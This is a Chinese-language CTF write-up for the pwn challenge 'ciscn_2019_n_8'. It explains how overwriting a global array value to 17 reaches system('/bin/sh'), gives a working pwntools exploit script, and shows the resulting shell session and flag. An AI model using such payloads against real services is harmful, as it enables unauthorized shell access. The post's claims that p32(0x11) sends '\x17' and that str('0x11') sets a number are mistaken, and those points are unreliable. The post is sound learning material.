【pwn做题记录】07.ciscn_2019_n_8 1

例题:ciscn_2019_n_8 1

首先检查一下文件:

C:\Users\A\Downloads>checksec ciscn_2019_n_8
[*] 'C:\\Users\\A\\Downloads\\ciscn_2019_n_8'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

上面的意思依次是:

  • 32位程序,小端序
  • GOT部分可写
  • 具有栈保护
  • 栈不可执行
  • 地址随机化
  • 保留了字符表和调试信息

思路分析

用IDA打开,看一下main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}
  • 直接定位到system("/bin/sh");,要执行system,需要通过两个if条件
  • var看不到定义,说明是全局变量(双击var可以看到bss段,并且 var是DWORD类型,即每个元素占4字节 ),也就是说我们不知道var具体长什么样
  • 看到__isoc99_scanf("%s", var, v4, v5);:格式化字符串在读取第一个参数后,后面的参数是会忽略掉的,即v4,v5可有可无。即这里的输入是修改var数组的值。
  • if ( *(_QWORD *)&var[13] )这个可能比较对新手来说比较难理解,var[13]就是var的第14个元素(索引从0开始),&var[13]就是第14个元素的地址,就是指向int类型的指针(前面有个var[13] = 0,那就可以假设var的元素的是int类型的),即int * 类型的指针,接下来(_QWORD )&var[13] 就是将&var[13]强制转换为_QWORD * 类型,即强制转换为指向_QWORD的指针。最后的号是指针解引用的意思,即*(_QWORD *)&var[13]是指向_QWORD的指针解引用,其值相当于_QWORD(_QWORD是一种整数类型,占8字节)。所以这里可以简单理解为var[13]的值是否为0,不为0则通过。
  • *(_QWORD *)&var[13] == 17LL:当var[13]的值为17的时候,就可以执行里面的system函数。

因此这道题的思路很简单,只要让var[13]的值为17即可.

思路总结

  • 输入垃圾数据,到var[13]的时候,输入数字17。

攻击脚本

#!/bin/python
from pwn import *
#context.log_level = 'debug'

io = process("./ciscn_2019_n_8")
#io = remote("node5.buuoj.cn",29619)

# 17的十六进制是0x11
payload = b'aaaa' * 13 + p32(0x11)
io.sendline(payload)

io.interactive()

就可以得到flag了:

点击查看代码
[+] Opening connection to node5.buuoj.cn on port 29619: Done
[*] Switching to interactive mode
What's your name?
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{5828b594-8850-4562-a956-d5a4253cb4b3}
$ 
[*] Interrupted
[*] Closed connection to node5.buuoj.cn port 29619

疑惑点

  • 为什么payload = b'aaaa' * 13 + p32(0x11)
    这里要明确,数组的存储方式是连续的,前面分析过,数组var的元素都是DWORD(占4字节),所以payload = b'aaaabbbb' 就相当于使var[0] = 'aaaa',var[1] = 'bbbb'

  • 为什么payload最后采用p32(0x11)
    当我们发送b'aaaa'的时候,程序收到的实际是什么,这里看一下if ( *(_QWORD *)&var[13] == 17LL )不通过的情况,即执行下面的else语句,里面printf看似打印了很多东西,但其实和前面的scanf一样,格式化字符串%d只接收第一个参数,后面的会被忽略,所以这里将会打印var[0]。因此我们将var[0]赋值为b'aaaa'的时候,会得到什么
    (这里用pwntools里的context.log_level = 'debug'测试)

payload = b'aaaa' * 13 + b'aaaa'


可以看到,var[0]接收的值是1633771873,我们将其转成16进制(看下面计算器的HEX的值)

很明显,其16进制是0x61616161,0x61又正好是'a'的ASCII码,所以我们发送b'aaaa'的时候,程序收到的其实是0x61616161

而p32(0x11)发送的值是什么?是b'\x11\x00\x00\x00',这个发送的又是什么?
这里用python的list来做对比,就能大概理解了:

print(f"b'aaaa' = {list(b'aaaa')}" )
print(f"p32(0x11) = {list(p32(0x11))}" )


对比两者,就能大概了解为什么要用p32了,用p32才能发送真正的17,或者说,是发送\x17\x00\x00\x00

  • 为什么攻击过程没有提及到_QWORD类型转换
    因为_QWORD类型占8字节,可以简单理解为long long类型(32位程序的long和int都占4字节),*(_QWORD *)&var[13] == 17LL的17LL也在暗示了,这算是几乎最大的整数类型了,前面的var[13] = 0已经暴露出var的元素的一种整数类型,所以这里的强制转换,相当于把小类型转换为大类型,如int类型转换为long long字型,比如0x10001000转换为0x0000000010001000,不够的位数用0补充(int为负数时用f补充,这里的var[13]正数,补0,但其实10进制数值都没改变),所以几乎无影响。

做题总结

  • 给数字类型的变量赋值,不能直接发送字节流b'xxxx',应该发送str('0x11'),但这种无法控制位数,所以最好发送p32(0x11)。
posted @ 2025-06-24 01:09  星冥鸢  阅读(112)  评论(0)    收藏  举报